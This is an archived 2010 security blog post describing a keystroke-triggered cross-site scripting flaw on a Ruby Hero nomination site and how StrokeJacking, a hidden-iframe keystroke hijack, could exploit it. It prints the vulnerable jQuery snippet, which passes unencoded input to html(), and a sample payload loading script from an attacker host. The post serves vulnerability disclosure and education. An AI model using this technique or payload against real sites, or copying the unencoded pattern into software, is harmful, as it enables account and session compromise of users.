Stroke triggered XSS and StrokeJacking

Stroke triggered XSS and StrokeJacking - lava, blog.andlabs.org.

- Published: date not stated
- Original: <http://blog.andlabs.org/2010/04/stroke-triggered-xss-and-strokejacking_06.html>
- Preserved from: http://blog.andlabs.org/2010/04/stroke-triggered-xss-and-strokejacking_06.html (live) on 2026-08-10
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

A few days back I got a link to the RubyHero website, it lets you nominate a person of your choice for the Ruby Hero award. I wanted to nominate Manish because he is doing some pretty cool stuff with Ruby and also always ferociously defends Ruby in our Perl vs Ruby arguments. So there I was, on their homepage typing in the Attack and Defense Labs URL in to the input box. But as I typed it in, the URL started showing up inside the 'Nominate' button. Since it looked like a candidate for XSS I entered '<h1>' and sure enough it was rendered by the browser, tried the script tag and got an alert command to execute.

None of this is even remotely amusing but what is interesting is how this XSS vulnerability can be exploited. The payload in this case can neither be injected through any URL or POST parameter like a reflected or stored XSS nor be injected through any DOM object before the page loads like discussed in popular references of DOM based XSS attacks. It can only be injected by the victim himself by typing out every single character of the payload!!

I will explain why. In this specific case there is an event handler assigned to the Input box's 'KeyUp' event. This event handler takes the contents of the input box and sets it as the 'Nominate' button element's content using the 'html()' function of JQuery without any encoding or validation. If I enter HTML inside the input box then it is added to the DOM of the page and is rendered by the browser. Since this XSS can only be triggered by the keystrokes of the victim, 'Stroke triggered Cross-site Scripting' would be a suitable name for it I think.

> The vulnerable JavaScript snippet is below:

```
jQuery(function($){ $('#site_url').focus().keyup(function(event) { var input_text = $(event.target).val(); //removed for clarity $('#nomination_submit').html('Nominate <strong>' + input_text + '</strong>'); });
```

All of this sounds good but how on earth do you convince your victim to type in '<script src=attacker.site/evil.js>' in to this box. Realistically speaking it is easier than you might think because I have myself happily copy-pasted JavaScript in to my browser's address bar because someone on Orkut said it would do cool things. Ofcourse that was many many years back before I even knew what JavaScript was. Though an evil attacker can social engineer simple folks like the old me to key in the payload, it might not look very convincing to others.

Pondering over a possible technique to make the attack look legit I remembered the 'StrokeJacking' POC posted by Michal Zalewski a few weeks back. Like ClickJacking, StrokeJacking also makes use of UI redressing to trick the user but instead of Clicks it hijacks the keystrokes of the victim, very clever technique. The POC asks the victim to type in a harmless looking string while in reality the string is a mix of characters that the attacker is interested in along with other insignificant characters.

There is an input box in the attacker's website where this string is to be typed and this page also contains a hidden 'iframe' which loads the target site. As the victim types the string in to the input box there is an event handler which monitors every character entered, if the victim types in one of the characters the attacker is interested in then it passes the focus to the hidden iframe. So this character is actually typed in to the active input box of the iframe, immediately the focus is bought back to the attacker's input box. By doing this repeatedly the attacker can con the victims in to typing something inside the target website without them even knowing what and where they have typed.

StrokeJacking is the perfect technique to exploit 'Stroke triggered XSS' and I have made a simple POC to prove this point. The page vulnerable to Stroke triggered XSS is hosted at 'andlabs.net'. The page from which StrokeJacking will be performed is located at 'andlabs.org', this is done to show that this is a cross-domain attack.

The success with the POC depends on your typing style because the method that I am using to capture the special characters '<' and ':' from the victim depends on the victim's typing speed and style. If you press the 'shift' key and take more the 500ms searching for the '<' or ':' key then this technique does not catch them. I am betting on the fact that most people take lesser that. Also once you enter the either of the special characters give a brief pause of about a second before keying in the next character. It works on FireFox, Chrome, Safari and Iron. All suggestions for a better method to do this are most welcome.

I reported this vulnerability late last week to the developers of rubyheros.com but it still remains unfixed. They responded promptly but remain convinced that this is an unexploitable vulnerability. Hopefully this post will change such perceptions. A video of exploiting the original vulnerability similar to the one shared with the vendors is available here.
